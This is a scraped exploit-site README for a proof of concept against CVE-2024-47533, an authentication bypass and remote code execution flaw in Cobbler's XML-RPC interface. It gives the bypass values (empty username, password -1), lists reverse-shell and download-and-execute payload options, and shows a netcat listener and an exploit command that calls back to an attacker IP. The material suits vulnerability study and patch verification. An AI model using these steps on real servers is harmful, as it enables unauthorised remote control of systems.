## https://sploitus.com/exploit?id=F96CC0FF-7403-5750-A48D-DC99C5101DB4
# CVE-2024-47533 - Cobbler XMLRPC Authentication Bypass RCE Exploit
β οΈ Critical Remote Code Execution via Authentication Bypass in Cobbler
π οΈ PoC implementation by @dollarboysushil
---
## π‘ Overview
Cobbler, a Linux installation server that enables rapid setup of network installation environments, has an authentication vulnerability in versions 3.0.0 up to (but not including) 3.2.3 and 3.3.7. The function utils.get_shared_secret() always returns -1, allowing anyone to connect to the Cobbler XML-RPC interface with an empty username ('') and password -1. This lets an attacker with network access gain full control of the Cobbler server. The vulnerability is fixed in versions 3.2.3 and 3.3.7.
---
## π Technical Breakdown
The vulnerability is caused by improper handling of the shared secret in the `utils.get_shared_secret()` function, which always returns `-1`, effectively bypassing authentication. This lets any network user connect to Cobblerβs XMLRPC interface with empty credentials and execute arbitrary commands.
---
## π₯ Vulnerable Endpoint
`http://:25151/` β Cobbler's XMLRPC API endpoint
---
## π₯ Example Payloads
The exploit script supports various reverse shell payloads including:
- Bash reverse shell
- Netcat shells (`nc`, `nc2`)
- Python reverse shell
- Curl download & execute
---
## π¬ Proof-of-Concept (PoC) Demonstration
### π‘ Preparing the Listener
Start a Netcat listener on your machine:
```bash
nc -lvnp 4444
```

### π Launching the Exploit
Run the exploit script CVE-2024-47533-dbs.py.
```bash
python3 CVE-2024-47533-dbs.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash
```

### π» Successful Remote Shell Access
Upon successful execution, the reverse shell will connect back to the listener, granting the attacker remote access to the server.

## π References
- [SUSE Security Advisory for CVE-2024-47533](https://www.suse.com/security/cve/CVE-2024-47533.html)
- [GitHub Security Advisory GHSA-m26c-fcgh-cp6h](https://github.com/advisories/GHSA-m26c-fcgh-cp6h)
- [Snyk Vulnerability Database: SNYK-PYTHON-COBBLER-8384360](https://security.snyk.io/vuln/SNYK-PYTHON-COBBLER-8384360)